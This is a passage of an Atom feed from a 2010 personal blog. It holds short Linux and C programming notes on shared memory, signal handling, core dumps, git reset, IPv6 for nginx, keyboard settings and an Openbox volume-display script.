    shmdt(sm);

    return 0;
}

//sm_free.c
#include &lt;stdio.h&gt;
#include &lt;sys/shm.h&gt;
#include &lt;sys/stat.h&gt;

int main()
{
    int sid = 0;
    scanf(&quot;%d&quot;,&amp;sid);
    shmctl(sid,IPC_RMID,NULL);

    return 0;
}
</pre>

<p>Tarball at <a href="http://blog.cykerway.com/uploads/20100924/sm.tar.gz">http://blog.cykerway.com/uploads/20100924/sm.tar.gz</a></p>]]></content>
    </entry>
    <entry>
        <title>grub configuration</title>
        <link href="http://blog.cykerway.com/post/244" />
        <id>http://blog.cykerway.com/post/244</id>
        <updated>2010-09-24T17:56:54Z</updated>
        <content type="html"><![CDATA[<p><a href="http://www.linuxsir.org/main/?q=node/129#3.1">http://www.linuxsir.org/main/?q=node/129#3.1</a></p>]]></content>
    </entry>
    <entry>
        <title>enable ipv6 for VPS on Debian</title>
        <link href="http://blog.cykerway.com/post/243" />
        <id>http://blog.cykerway.com/post/243</id>
        <updated>2010-09-20T19:48:29Z</updated>
        <content type="html"><![CDATA[<p>Most of the job follows this article:</p>

<p><a href="http://kangzj.net/is-your-web-ipv6-ready/">http://kangzj.net/is-your-web-ipv6-ready/</a></p>

<p>Below are some minor problems:</p>

<ol>
<li>
<p>ip command not found</p>

<p>On Debian, ip command is in the package <b>iproute</b>. So</p>

<pre class="brush:bash">
apt-get install iproute
</pre>

<p>should solve this problem.</p>
</li>

<li>
<p>nginx&apos;s ipv6 support</p>

<p>As pointed out in the article above, nginx adds ipv6 support since version 0.7.36. If you use the squeeze or a later distribution in your sources.list, you should get nginx already with ipv6 support. Otherwise, compile it yourself with configure option</p>

<pre class="brush:bash">
--with-ipv6
</pre>

<p>You may need the package <b>libssl-dev</b> for this.</p>

<p>Finally, ipv6 server configurations for nginx can be found in <a href="http://kovyrin.net/2010/01/16/enabling-ipv6-support-in-nginx/">http://kovyrin.net/2010/01/16/enabling-ipv6-support-in-nginx/</a></p>
</li>
</ol>]]></content>
    </entry>
    <entry>
        <title>tunnelling SSH over an HTTP proxy</title>
        <link href="http://blog.cykerway.com/post/242" />
        <id>http://blog.cykerway.com/post/242</id>
        <updated>2010-09-20T17:44:52Z</updated>
        <content type="html"><![CDATA[<p>We can tunnel SSH over an HTTP proxy using <a href="http://www.agroman.net/corkscrew/"><b>corkscrew</b></a>, as described in this tutorial:</p>

<p><a href="http://www.mtu.net/~engstrom/ssh-proxy.php">http://www.mtu.net/~engstrom/ssh-proxy.php</a></p>]]></content>
    </entry>
    <entry>
        <title>djvu single page extraction</title>
        <link href="http://blog.cykerway.com/post/241" />
        <id>http://blog.cykerway.com/post/241</id>
        <updated>2010-09-14T22:11:04Z</updated>
        <content type="html"><![CDATA[<p>Tried to find a tool which can extract a page from a multi-page .djvu file, but failed. djvutoy in Windows may do that job, but no counterpart found in Linux.</p>

<p>So I use a circuitous way to do this job:</p>

<pre class="brush:bash">
ddjvu -page=3 -format=tiff doc.djvu page.tiff
cjb2 page.tiff page.djvu
</pre>

<p>Then you can use page.djvu as a single-page .djvu file, which can be used in djvm, such as:</p>

<pre class="brush:bash">
djvm -i doc.djvu page.djvu 10
</pre>

<p>This sets page.djvu as the 10th page in doc.djvu.</p>]]></content>
    </entry>
    <entry>
        <title>xset auto-repeat</title>
        <link href="http://blog.cykerway.com/post/240" />
        <id>http://blog.cykerway.com/post/240</id>
        <updated>2010-09-07T18:05:47Z</updated>
        <content type="html"><![CDATA[<p>I love fast auto-repeat but I don&apos;t want it happen on the XF86AudioMute keys. What surprised me was that I found xset provides the function of configuring auto-repeat on/off for a specific key.</p>

<p>First, use xev to get the keycode.</p>

<p>Second, run</p>

<pre class="brush:bash">
xset r [keycode]
</pre>

<p>to turn on auto-repeat for key <i>keycode</i>.</p>

<pre class="brush:bash">
xset -r [keycode]
</pre>

<p>to turn off auto-repeat for key <i>keycode</i>. Note that the bar means minus, not option.</p>]]></content>
    </entry>
    <entry>
        <title>Linux memory management</title>
        <link href="http://blog.cykerway.com/post/239" />
        <id>http://blog.cykerway.com/post/239</id>
        <updated>2010-09-07T13:54:12Z</updated>
        <content type="html"><![CDATA[<p>Very insightful articles illustrating Linux memory management:</p>

<p><a href="http://blog.csdn.net/Javadino/archive/2008/09/06/2891446.aspx">http://blog.csdn.net/Javadino/archive/2008/09/06/2891446.aspx</a></p>

<p><a href="http://blog.csdn.net/li_shyng/archive/2010/04/30/5545973.aspx">http://blog.csdn.net/li_shyng/archive/2010/04/30/5545973.aspx</a></p>]]></content>
    </entry>
    <entry>
        <title>Gnome application accelerate key setting</title>
        <link href="http://blog.cykerway.com/post/238" />
        <id>http://blog.cykerway.com/post/238</id>
        <updated>2010-09-06T22:34:42Z</updated>
        <content type="html"><![CDATA[<p>Add a new file ~/.gtkrc-2.0, write the following line in it:</p>

<pre class="brush:bash">
gtk-can-change-accels = 1
</pre>

<p>Source this file and open a Gnome application such as evince. Move cursor to the menu item you want to change accelerate key for. Hang over it and press the accelerate key. It will be set. Then modify the ~/.gtkrc-2.0 file and change the value from 1 to 0 to disable it. Then the new accelerate key stays there. So sweet.</p>]]></content>
    </entry>
    <entry>
        <title>C signal handling</title>
        <link href="http://blog.cykerway.com/post/237" />
        <id>http://blog.cykerway.com/post/237</id>
        <updated>2010-09-06T20:01:03Z</updated>
        <content type="html"><![CDATA[<p>Excellent tutorial at www.yolinux.com:</p>

<p><a href="http://www.yolinux.com/TUTORIALS/C++Signals.html">http://www.yolinux.com/TUTORIALS/C++Signals.html</a></p>

<p><a href="http://man.yolinux.com/cgi-bin/man2html?cgi_command=signal">http://man.yolinux.com/cgi-bin/man2html?cgi_command=signal</a></p>

<p><a href="http://man.yolinux.com/cgi-bin/man2html?cgi_command=sigaction">http://man.yolinux.com/cgi-bin/man2html?cgi_command=sigaction</a></p>]]></content>
    </entry>
    <entry>
        <title>SIGINT/SIGQUIT/SIGTSTP</title>
        <link href="http://blog.cykerway.com/post/236" />
        <id>http://blog.cykerway.com/post/236</id>
        <updated>2010-09-06T19:27:31Z</updated>
        <content type="html"><![CDATA[<p>Well, I just want to find out what signals are generated by Ctrl-c, Ctrl-z and Ctrl-\</p>

<p>This program cannot be exited via all three key combinations above. So better run it in a separate xterm. Or it&apos;d be better if someone could tell me how to exit from such programs without help from other consoles.</p>

<pre class="brush:c">
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;signal.h&gt;

void signal_handler(int signum)
{
    switch (signum) {
        case SIGINT:
            printf(&quot;Caught signal SIGINT: %d\n&quot;,signum);
            break;
        case SIGQUIT:
            printf(&quot;Caught signal SIGQUIT: %d\n&quot;,signum);
            break;
        case SIGTSTP:
            printf(&quot;Caught signal SIGTSTP: %d\n&quot;,signum);
            break;
        case SIGWINCH:
            printf(&quot;Caught signal SIGWINCH: %d\n&quot;,signum);
            break;
    }
}

int main()
{
    signal(SIGINT,signal_handler);
    signal(SIGQUIT,signal_handler);
    signal(SIGTSTP,signal_handler);
    signal(SIGWINCH,signal_handler);

    while (1) {
        sleep(1);
    }
    return 0;
}
</pre>

<p>And the result is:</p>

<blockquote>
<p>Ctrl-c - SIGINT (2)</p>
<p>Ctrl-z - SIGTSTP (20)</p>
<p>Ctrl-\ - SIGQUIT (3)</p>
</blockquote>

<p>Test in urxvt.</p>]]></content>
    </entry>
    <entry>
        <title>Linux console key combinations</title>
        <link href="http://blog.cykerway.com/post/235" />
        <id>http://blog.cykerway.com/post/235</id>
        <updated>2010-09-06T19:14:12Z</updated>
        <content type="html"><![CDATA[<p><a href="http://www.cdrinfo.com/Sections/Reviews/Specific.aspx?ArticleId=19672">http://www.cdrinfo.com/Sections/Reviews/Specific.aspx?ArticleId=19672</a></p>]]></content>
    </entry>
    <entry>
        <title>core dump</title>
        <link href="http://blog.cykerway.com/post/234" />
        <id>http://blog.cykerway.com/post/234</id>
        <updated>2010-09-06T19:05:17Z</updated>
        <content type="html"><![CDATA[<p>Generally, when you write and run a program, and then receive a Segmentation fault, you&apos;d be confused where the problem happens. You use gdb to debug the executable file, but it usually gives you an error notice in some dynamic library. What you want to know may be the line number in your program, though.</p>

<p>That&apos;s because you don&apos;t try core dump. With core dump, the system will write memory state to a core file when a program exits abnormally. Combined with the symbol table generated by -g (or -ggdb), you can locate the line where the problem happens.</p>

<p>First, run</p>

<pre class="brush:bash">
ulimit -S -c
</pre>
<p>to check whether core file size is limited. If it&apos;s 0, run</p>

<pre class="brush:bash">
ulimit -S -c unlimited
</pre>
<p>and check again. If it&apos;s still 0, change -S to -H and run again.</p>

<p>Second, compile your program with -g or -ggdb option </p>

<pre class="brush:bash">
gcc -ggdb -o a a.c
</pre>

<p>Finally, run your program. If it has a segmentation fault, you&apos;ll get the notice:</p>

<blockquote>
<p>Segmentation fault (core dumped)</p>
</blockquote>

<p>There should be a new file named core or core.[pid]. Now you can use</p>

<pre class="brush:bash">
gdb a core
</pre>

<p>to debug the program. gdb should stop at the line of error. Use bt to see where it comes from.</p>

<p>Finally, some useful materials:</p>

<p><a href="http://www.groad.net/bbs/read.php?tid-1472.html">http://www.groad.net/bbs/read.php?tid-1472.html</a></p>
<p><a href="http://www.network-theory.co.uk/docs/gccintro/gccintro_38.html">http://www.network-theory.co.uk/docs/gccintro/gccintro_38.html</a></p>]]></content>
    </entry>
    <entry>
        <title>three C tips</title>
        <link href="http://blog.cykerway.com/post/233" />
        <id>http://blog.cykerway.com/post/233</id>
        <updated>2010-09-03T04:07:09Z</updated>
        <content type="html"><![CDATA[<p>Just some grammar allowed in C. Knowing these may help your coding.</p>

<ol>
<li>
<p>This example says <b>sizeof</b> can be used on a dereferenced pointer,even if it is of type struct *, and doesn&apos;t point to anything. This is because the size of the struct is known at compile time.</p>
<pre class="brush:c">
#include &lt;stdio.h&gt;

struct abc {
    int a;
    double b;
    char *c;
};

int main()
{
    struct abc *p;
    printf(&quot;%d\n&quot;,sizeof(*p));
    return 0;
}
</pre>
<p>Output:</p>
<p>16</p>

<p>Note that there is an alignment issue. If we change the definition of struct abc to:</p>
<pre class="brush:c">
struct abc {
    char a;
    double b;
    char *c;
};
</pre>
<p>The result will still be 16 since it&apos;s 4-byte-aligned.</p>

<p>Note. This program is tested on a 32-bit machine.</p>
</li>
<li>
<p>This is a valid struct initialization. In this way you don&apos;t care about the order of items.</p>

<pre class="brush:c">
struct abc {
    int a;
    double b;
    char *c;
};

struct abc item = {
    .b = 3.14,
    .c = &quot;ccccc&quot;,
    .a = 10,
};
</pre>

<p>Also note that the compiler doesn&apos;t care about the last comma. It&apos;ll be OK whether you add it or not. I don&apos;t know whether it&apos;s a compiler-specific issue. But it looks fine.</p>
</li>
<li>
<p>Variables length array is a new feature in C99. In this case this is an execution-time <b>sizeof</b>.</p>
<pre class="brush:c">
#include &lt;stdio.h&gt;

int calc(int k)
{
    char buf[k+12][k+3];
    return sizeof(buf);
}

int main()
{
    printf(&quot;%d\n&quot;,calc(10));
    return 0;
}
</pre>
<p>Output</p>
<p>286</p>
</li>
</ol>]]></content>
    </entry>
    <entry>
        <title>Linux sound systems</title>
        <link href="http://blog.cykerway.com/post/232" />
        <id>http://blog.cykerway.com/post/232</id>
        <updated>2010-09-01T16:27:01Z</updated>
        <content type="html"><![CDATA[<p>Linux sound system is, well, really a mess... Look at the following pictures:</p>

<p><a href="http://blogs.adobe.com/penguinswf/linuxaudio.png"><img src="http://blogs.adobe.com/penguinswf/linuxaudio.png" alt="linuxaudio.png" /></a></p>

<p><a href="http://yokozar.org/blog/content/linuxaudio.png"><img src="http://yokozar.org/blog/content/linuxaudio.png" alt="linuxaudio.png" /></a></p>

<p><a href="http://www.tuxradar.com/files/LXF130.audio.layers.png"><img src="http://www.tuxradar.com/files/LXF130.audio.layers.png" alt="LXF130.audio.layers.png" /></a></p>

<p>Maybe these articles will help:</p>

<p><a href="http://www.linux.com/archive/feature/113775">http://www.linux.com/archive/feature/113775</a></p>

<p><a href="http://www.linux.com/archive/feature/113775">http://www.tuxradar.com/content/how-it-works-linux-audio-explained</a></p>

<p>So, the Linux sound system is somehow like this:</p>

<ul>
<li><b>ALSA</b> is of the lowest level and directly talks to hardware.</li>

<li><b>Jack</b> is a sound server which is like a switch-board on which different inputs/outputs are plugged. It&apos;s real-time, low-latency, as well as cross-platform. It also has support for distributing audio across a network.</li>

<li><b>PulseAudio</b> is also a sound server. It is network-transparent and capable of software mixing. You can adjust the volume of each application which is based on PulseAudio. However, I think PulseAudio works at a higher level than Jack, though they can both call ALSA directly.</li>

<li><b>Gstreamer</b> and <b>Xine</b> are multimedia frameworks which work at an even higher level. </li>
</ul>

<p>There are some other components I don&apos;t mention here, such as OSS, ESD and aRts. You&apos;d better refer to the articles above.</p>]]></content>
    </entry>
    <entry>
        <title>Overview of RAMFS and TMPFS on Linux</title>
        <link href="http://blog.cykerway.com/post/231" />
        <id>http://blog.cykerway.com/post/231</id>
        <updated>2010-08-30T07:27:51Z</updated>
        <content type="html"><![CDATA[<p>Using ramfs or tmpfs you can allocate part of the physical memory to be used as a partition. You can mount this partition and start writing and reading files like a hard disk partition. Since you&apos;ll be reading and writing to the RAM, it will be faster.</p>

<p><a href="http://www.thegeekstuff.com/2008/11/overview-of-ramfs-and-tmpfs-on-linux/">http://www.thegeekstuff.com/2008/11/overview-of-ramfs-and-tmpfs-on-linux/</a></p>]]></content>
    </entry>
    <entry>
        <title>use ncmpc to fetch and read lyrics</title>
        <link href="http://blog.cykerway.com/post/230" />
        <id>http://blog.cykerway.com/post/230</id>
        <updated>2010-08-30T05:44:46Z</updated>
        <content type="html"><![CDATA[<p>As mention in:</p>

<p><a href="http://www.use-strict.de/articles/Using-ncmpc-to-fetch-and-read-lyrics.html">http://www.use-strict.de/articles/Using-ncmpc-to-fetch-and-read-lyrics.html</a></p>

<blockquote>
<p>A plugin can be any type of application (compiled executable, Perl or shell script, ...) that satisfies the following requirements:</p>

<ul>
<li>it takes the song&apos;s artist and title as arguments</li>
<li>it prints the retrieved lyrics to STDOUT on success and returns an exit value of 0 in that case</li>
<li>if an error occurs, it returns an exit value of 1</li>
<li>if the lyrics could not be retrieved, it returns an exit value of 69</li>
</ul>
</blockquote>]]></content>
    </entry>
    <entry>
        <title>256-color SGR sequence</title>
        <link href="http://blog.cykerway.com/post/229" />
        <id>http://blog.cykerway.com/post/229</id>
        <updated>2010-08-28T22:24:18Z</updated>
        <content type="html"><![CDATA[<p>As we all know that by editing .bashrc we can give less a colorful appearance. However, the 16-color scheme looks a little bit ugly. For example, if I want to use color yellow but don&apos;t want to make it bold, then the result is a darker yellow, which looks like, you know.</p>

<p>256-color feature solves this problem well. At first I was looking at Wikipedia about SGR(Select Graphic Rendition) parameters. However, I didn&apos;t find it until I saw this page:</p>

<p><a href="http://www.frexx.de/xterm-256-notes/">http://www.frexx.de/xterm-256-notes/</a></p>

<p>in which the author mentions:</p>

<blockquote>
<p>Set the foreground color to index N: \033[38;5;${N}m</p>
<p>Set the background color to index M: \033[48;5;${M}m</p>
</blockquote>

<p>38 and 48 are marked as reserved in Wikipedia page with no more details. Well, we've found it after all. So add the following line in .bashrc will make a colorful less (and man if you set less as the default MANPAGER) page:</p>

<pre class="brush:bash">
# color man pages for less
export MANPAGER=/bin/less
export LESS_TERMCAP_mb=$&apos;\E[0;34m&apos;      # begin blinking
export LESS_TERMCAP_md=$&apos;\E[1;38;5;10m&apos; # begin bold
export LESS_TERMCAP_me=$&apos;\E[0m&apos;         # end mode
export LESS_TERMCAP_so=$&apos;\E[7;38;5;15m&apos; # begin standout-mode - info box/search result
export LESS_TERMCAP_se=$&apos;\E[0m&apos;         # end standout-mode                 
export LESS_TERMCAP_us=$&apos;\E[4;38;5;11m&apos; # begin underline
export LESS_TERMCAP_ue=$&apos;\E[0m&apos;         # end underline
</pre>]]></content>
    </entry>
    <entry>
        <title>radial engine</title>
        <link href="http://blog.cykerway.com/post/227" />
        <id>http://blog.cykerway.com/post/227</id>
        <updated>2010-08-24T04:15:38Z</updated>
        <content type="html"><![CDATA[<p>Look at this engine! It looks so sexy!</p>

<p><img src="http://upload.wikimedia.org/wikipedia/commons/a/ab/Radial_engine.gif" alt="radial engine" /></p>

<p>Well, they are formally called radial engines, and are used in aircrafts having propeller connected to the shaft delivering power in order to produce thrust.</p>

<p>And there are many more simple animations of complicated mechanisms:</p>

<p><a href="http://mytechnologyworld9.blogspot.com/2010/08/complicated-mechanisms-explained-in.html">http://mytechnologyworld9.blogspot.com/2010/08/complicated-mechanisms-explained-in.html</a></p>]]></content>
    </entry>
    <entry>
        <title>a C comment trick</title>
        <link href="http://blog.cykerway.com/post/226" />
        <id>http://blog.cykerway.com/post/226</id>
        <updated>2010-08-23T23:08:14Z</updated>
        <content type="html"><![CDATA[<p>Today I saw a trick to comment and uncomment multiple lines of code in C. It uses both /*...*/ and // to comment as below:</p>

<pre class="brush:c">
/*
    foo();
    bar();
//*/
</pre>

<p>To uncomment, just add another / in the first line:</p>

<pre class="brush:c">
//*
    foo();
    bar();
//*/
</pre>

<p>So you don&apos;t need to change the other end, which saves a lot of time.</p>

<p>Note. Although // is not ANSI C and is brought in by C++, actually many compilers support this format of comments.</p>]]></content>
    </entry>
    <entry>
        <title>Dribbble</title>
        <link href="http://blog.cykerway.com/post/225" />
        <id>http://blog.cykerway.com/post/225</id>
        <updated>2010-08-23T03:15:32Z</updated>
        <content type="html"><![CDATA[<p><a href="http://dribbble.com/">Dribbble</a> is show and tell for designers, developers and other creatives. You can find many wonderful designs here.</p>]]></content>
    </entry>
    <entry>
        <title>xwinman.org</title>
        <link href="http://blog.cykerway.com/post/224" />
        <id>http://blog.cykerway.com/post/224</id>
        <updated>2010-08-23T03:13:07Z</updated>
        <content type="html"><![CDATA[<p><a href="http://xwinman.org/">xwinman.org</a> is a guide to various window managers and desktop environments for The X Window System.</p>]]></content>
    </entry>
    <entry>
        <title>ZetCode</title>
        <link href="http://blog.cykerway.com/post/223" />
        <id>http://blog.cykerway.com/post/223</id>
        <updated>2010-08-23T03:07:45Z</updated>
        <content type="html"><![CDATA[<p><a href="http://zetcode.com/">zetcode.com</a> is a website full of programming tutorials, which includes but not limited to GTK+, Qt4, wxPython, SQLite, etc.</p>

<p>There are many examples, which makes it a good start point for beginners.</p>]]></content>
    </entry>
    <entry>
        <title>headers with the same names in gcc</title>
        <link href="http://blog.cykerway.com/post/222" />
        <id>http://blog.cykerway.com/post/222</id>
        <updated>2010-08-23T00:57:56Z</updated>
        <content type="html"><![CDATA[<p>Suppose we have the following program main.c:</p>

<pre class="brush:c">
#include &lt;stdio.h&gt;
#include &quot;main.h&quot;

int main()
{
    extern int k;
    printf(&quot;%d\n&quot;,k);
    return 0;
}
</pre>

<p>And we compile it using </p>

<pre class="brush:bash">
gcc -o main -I dir1 -I dir2 main.c
</pre>

<p>Then if there is a main.h in both dir1 and dir2, the one in dir1 will be used since it comes earlier in the command. If instead we use </p>

<pre class="brush:bash">
gcc -o main -I dir2 -I dir1 main.c
</pre>

<p>to compile, then the one in dir2 will be used.</p>

<p>If there exists headers with the same name in the include directories,you can always explicitly set the header to use by using absolute path in the source file such as </p>

<pre class="brush:c">
#include &quot;/home/foo/dir1/main.h&quot;
</pre>]]></content>
    </entry>
    <entry>
        <title>Xlib Tutorial</title>
        <link href="http://blog.cykerway.com/post/221" />
        <id>http://blog.cykerway.com/post/221</id>
        <updated>2010-08-21T21:38:09Z</updated>
        <content type="html"><![CDATA[<p>A tutorial of Xlib.</p>

<p><a href="http://users.actcom.co.il/~choo/lupg/tutorials/xlib-programming/xlib-programming.html">http://users.actcom.co.il/~choo/lupg/tutorials/xlib-programming/xlib-programming.html</a></p>

<p>And I strongly recommend you go to the <a href="http://users.actcom.co.il/~choo/lupg/tutorials/index.html">Tutorials homepage</a>. The author has made a series of illustrative articles.</p>]]></content>
    </entry>
    <entry>
        <title>git reset</title>
        <link href="http://blog.cykerway.com/post/220" />
        <id>http://blog.cykerway.com/post/220</id>
        <updated>2010-08-21T18:56:34Z</updated>
        <content type="html"><![CDATA[<p><b>reset</b> is a useful command in Git. Basically, it has three options: </p>

<ul>
<li>hard</li>
<li>soft</li>
<li>mixed(default)</li>
</ul>

<p>In all the three cases, <b>reset</b> will reset the HEAD pointer(see below) to what you designate.</p>

<p>To illustrate the difference, first you should know how files are kept and referenced in Git. There are three stages:</p>

<ul>
<li>working tree</li>
<li>index</li>
<li>commit</li>
</ul>

<p>Initially, all files are in the working tree. When you run</p>

<pre class="brush:bash">
git add
</pre>

<p>They&apos;ll be indexed(formally called <b>staged</b>), i.e., they&apos;re now in the index. And when you finally run</p>

<pre class="brush:bash">
git commit
</pre>

<p>They&apos;ll be in the commit.</p>

<p>Besides this, you should also know the HEAD pointer. The HEAD pointer always points to the current commit.</p>

<p>Now we can tell the difference between the hard/soft/mixed options of git reset.</p>

<ul>
<li>
<p><b>--hard</b> will reset both the working tree and the index. In this way, after this is executed, your working tree and index will be exactly what they are for the commit you reset to. And the diff of the current HEAD and the commit you reset to is discarded.</p>
<p>In this way, you have both a clean working tree and a clean index.</p>
</li>
<li>
<p><b>--soft</b> will keep both the working tree and the index. In this way, after this is executed, your current working tree and index will be kept. And the diff of the current HEAD and the commit you reset to will be added to the index.</p>
<p>In this way, you may have neither a clean working tree nor a clean index.</p>
</li>
<li>
<p><b>--mixed</b> will keep the working tree but reset the index. In this way, after this is executed, your current working tree will be kept. And what was originally in the index will be reset(However, it still exists in the working tree. This operation is formally called <b>unstage</b>). And the diff of the current HEAD and the commit you reset to will be added to the working tree.</p>
<p>In this way, you have a clean index but may not have a clean working tree.</p>
<p>Since this is the default, you don't have to explicitly add the <b>--mixed</b>.</p>
</li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Set Keyboard Auto-Repeat Delay and Rate</title>
        <link href="http://blog.cykerway.com/post/219" />
        <id>http://blog.cykerway.com/post/219</id>
        <updated>2010-08-21T05:24:30Z</updated>
        <content type="html"><![CDATA[<p>Sometimes you may find it not convenient to have a too long auto-repeat delay and rate. However, you can easily adjust them, both in console and X.</p>

<ul>
<li>
<p><b>console</b></p>

<pre class="brush:bash">
kbdrate -d 150 -r 40
</pre>
</li>

<li>
<p><b>X</b></p>

<pre class="brush:bash">
xset r rate 150 40
</pre>
</li>
</ul>

<p>Both of the commands above will set the auto-repeat delay to 150ms and auto-repeat rate to 40chars/sec, in console and X, respectively, though. This will make a faster scroll in pagers like <i>less</i>, while not having a bad impact on character input. At least for me.</p>]]></content>
    </entry>
    <entry>
        <title>Volume Control OSD for Openbox</title>
        <link href="http://blog.cykerway.com/post/218" />
        <id>http://blog.cykerway.com/post/218</id>
        <updated>2010-08-19T14:59:22Z</updated>
        <content type="html"><![CDATA[<p>I&apos;ve looked up a lightweight volume control OSD for Openbox for over an hour. I want it simple, no-dependency and XF86Audio-keys-supported so it&apos;s really hard to find. But finally I got this pretty tool, written in Bash. It&apos;s a small script which can be well integrated with Openbox&apos;s keybind.</p>

<p>You may need libaosd to use this tool. You can install it by running:</p>

<pre class="brush:bash">
yaourt libaosd
</pre>

<p>Here&apos;s the tool (slightly modified by me):</p>

<pre class="brush:bash">
#!/bin/bash 

#============================================# 
#   mixer-osd 
#============================================# 

S=&quot;$(amixer set Master 0+ | grep &apos;Mono:&apos; | awk &apos;{print $6}&apos; | tr -d &apos;[]&apos;)&quot;

case $1 in 
    volup) 
        case $S in
            on) A=&quot;VOLUME: $(amixer set Master 1+ | grep &apos;Mono:&apos; | awk &apos;{print $4}&apos; | tr -d &apos;[]&apos;)&quot; ;;
            off) A=&quot;[MUTED] VOLUME: $(amixer set Master 1+ | grep &apos;Mono:&apos; | awk &apos;{print $4}&apos; | tr -d &apos;[]&apos;)&quot; ;;
        esac ;;

    voldown) 
        case $S in
            on) A=&quot;VOLUME: $(amixer set Master 1- | grep &apos;Mono:&apos; | awk &apos;{print $4}&apos; | tr -d &apos;[]&apos;)&quot; ;;
            off) A=&quot;[MUTED] VOLUME: $(amixer set Master 1- | grep &apos;Mono:&apos; | awk &apos;{print $4}&apos; | tr -d &apos;[]&apos;)&quot; ;;
        esac ;;

    mute) 
        case $(amixer set Master toggle | grep &apos;Mono:&apos; | awk &apos;{print $6}&apos; | tr -d &apos;[]&apos;) in
            on) A=&quot;VOLUME: $(amixer set Master 0+ | grep &apos;Mono:&apos; | awk &apos;{print $4}&apos; | tr -d &apos;[]&apos;)&quot; ;;
            off) A=&quot;[MUTED] VOLUME: $(amixer set Master 0+ | grep &apos;Mono:&apos; | awk &apos;{print $4}&apos; | tr -d &apos;[]&apos;)&quot; ;;
        esac ;; 
    *) echo &quot;Usage: $0 { volup | voldown | mute }&quot; ;;
esac 

killall aosd_cat &amp;&gt; /dev/null 

echo &quot;$A&quot; |  aosd_cat -p 4 --fore-color=green --shadow-color=#006633 --font=&quot;Droid Sans Mono 16&quot; --x-offset=-40 --y-offset=-0 --transparency=2 --fade-in=0 --fade-out=0 --fade-full=1000 &amp; 

# END
</pre>

<p>To use it, save the above script as /usr/bin/mixer-osd, and add the following configurations in your Openbox&apos;s rc.xml:</p>

<pre class="brush:xml">
&lt;!-- Keybindings for volume control  --&gt;
&lt;keybind key=&quot;XF86AudioRaiseVolume&quot;&gt;
    &lt;action name=&quot;Execute&quot;&gt;
        &lt;execute&gt;
            mixer-osd volup
        &lt;/execute&gt;
    &lt;/action&gt;
&lt;/keybind&gt;
&lt;keybind key=&quot;XF86AudioLowerVolume&quot;&gt;
    &lt;action name=&quot;Execute&quot;&gt;
        &lt;execute&gt;
            mixer-osd voldown
        &lt;/execute&gt;
    &lt;/action&gt;
&lt;/keybind&gt;
&lt;keybind key=&quot;XF86AudioMute&quot;&gt;
    &lt;action name=&quot;Execute&quot;&gt;
        &lt;execute&gt;
            mixer-osd mute
        &lt;/execute&gt;
    &lt;/action&gt;
&lt;/keybind&gt;
</pre>

<p>OK, you&apos;re done. Try pressing the volume-down, volume-up and mute key on your, laptop, perhaps. There will be a green banner in the center of your display telling you the volume and whether it&apos;s muted.</p>

<p>Acknowledgement. <a href="http://techpatterns.com/forums/about1354.html">http://techpatterns.com/forums/about1354.html</a></p>

<p>Note. You can also directly use amixer to adjust volume as stated in this article: <a href="http://urukrama.wordpress.com/2007/12/19/managing-sound-volumes-in-openbox/">http://urukrama.wordpress.com/2007/12/19/managing-sound-volumes-in-openbox/</a>. However I think osdsh is a little bit harder to configure than aosd_cat.</p>]]></content>
    </entry>
    <entry>
        <title>xmledit</title>
        <link href="http://blog.cykerway.com/post/217" />
        <id>http://blog.cykerway.com/post/217</id>
        <updated>2010-08-19T11:43:02Z</updated>
        <content type="html"><![CDATA[<p>xmledit is a Vim filetype plugin to ease XML/HTML file editing.</p>

<p>xmledit is available at AUR. You can install by</p>

<pre class="brush:bash">
yaourt vim-xmledit
</pre>

<p>To add HTML support, after downloading this plugin, open /usr/share/vim/vimfiles/doc/xml-plugin.txt, copy/paste the last part and save as /usr/share/vim/vimfiles/ftplugin/html.vim. </p>

<p>Features:</p>

<ul>
<li>% jumps between &lt; and &gt; with cursor on them</li>
<li>% jumps between beginning and end tag with cursor in a tag</li>
<li>End tag auto completion. After I enter
<pre class="brush:xml">
&lt;apple&gt;
</pre>
It will become (| indicates the cursor)
<pre class="brush:xml">
&lt;apple&gt;|&lt;/apple&gt;
</pre>
To break them into two lines, type &gt; twice as
<pre class="brush:xml">
&lt;apple&gt;&gt;
</pre>
It will become
<pre class="brush:xml">
&lt;apple&gt;
    |
&lt;apple&gt;
</pre>
</li>
<li>Smart HTML tags. After you enter
<pre class="brush:xml">
&lt;a&gt;
</pre>
It will become
<pre class="brush:xml">
&lt;a href=""&gt;|&lt;/a&gt;
</pre>
Similar for other HTML tags.
</li>
</ul>

<p>Project Homepage: <a href="http://www.vim.org/scripts/script.php?script_id=301">http://www.vim.org/scripts/script.php?script_id=301</a></p>]]></content>
    </entry>
    <entry>
        <title>xbindkeys</title>
        <link href="http://blog.cykerway.com/post/216" />
        <id>http://blog.cykerway.com/post/216</id>
        <updated>2010-08-19T05:44:39Z</updated>
        <content type="html"><![CDATA[<p>Do you have extra keys on your keyboard, mouse or laptop that are never used? For example, you may not be a Korean but buy a keyboard which has Korean-specific keys. Or you may buy a 7-button mouse but only use 3 of them. </p>

<p>xbindkeys can help you fully utilize your resources. Install <b>xbindkeys</b> and <b>xbindkeys_config</b>, which is a GTK program for configuring xbindkeys. Then start xbindkeys_config. When it requires a key input, just press the key or button. Then add an action for it. Quite easy indeed.</p>

<p>Otherwise, you can also directly edit the ~/.xbindkeysrc file, if you know the key code for those unfamiliar keys such as <i>Hangul_Hanja</i>...</p>]]></content>
    </entry>
    <entry>
        <title>Conky</title>
        <link href="http://blog.cykerway.com/post/215" />
        <id>http://blog.cykerway.com/post/215</id>
        <updated>2010-08-19T04:46:13Z</updated>
        <content type="html"><![CDATA[<p>Conky is a light-weight system monitor.</p>

<p>Conky's Homepage: <a href="http://conky.sourceforge.net/index.html">http://conky.sourceforge.net/index.html</a></p>

<p>It can be easily customized by editing ~/.conkyrc, and the following resources may be quite useful:</p>

<p><a href="http://conky.sourceforge.net/config_settings.html">http://conky.sourceforge.net/config_settings.html</a></p>

<p><a href="http://conky.sourceforge.net/variables.html">http://conky.sourceforge.net/variables.html</a></p>

<p>Here is a screenshot and the corresponding <a href="/uploads/20100819/.conkyrc">.conkyrc</a>:</p>

<p><a href="uploads/20100819/conky.png"><img src="/uploads/20100819/conky.png" alt="conky.png" /></a></p>

<p>Note. To add real transparency, first you need a compositing manager such as xcompmgr. Then you need to add the following options in ~/.conkyrc:</p>

<pre class="brush:plain">
own_window_transparent no
own_window_argb_visual yes
own_window_argb_value 127
</pre>

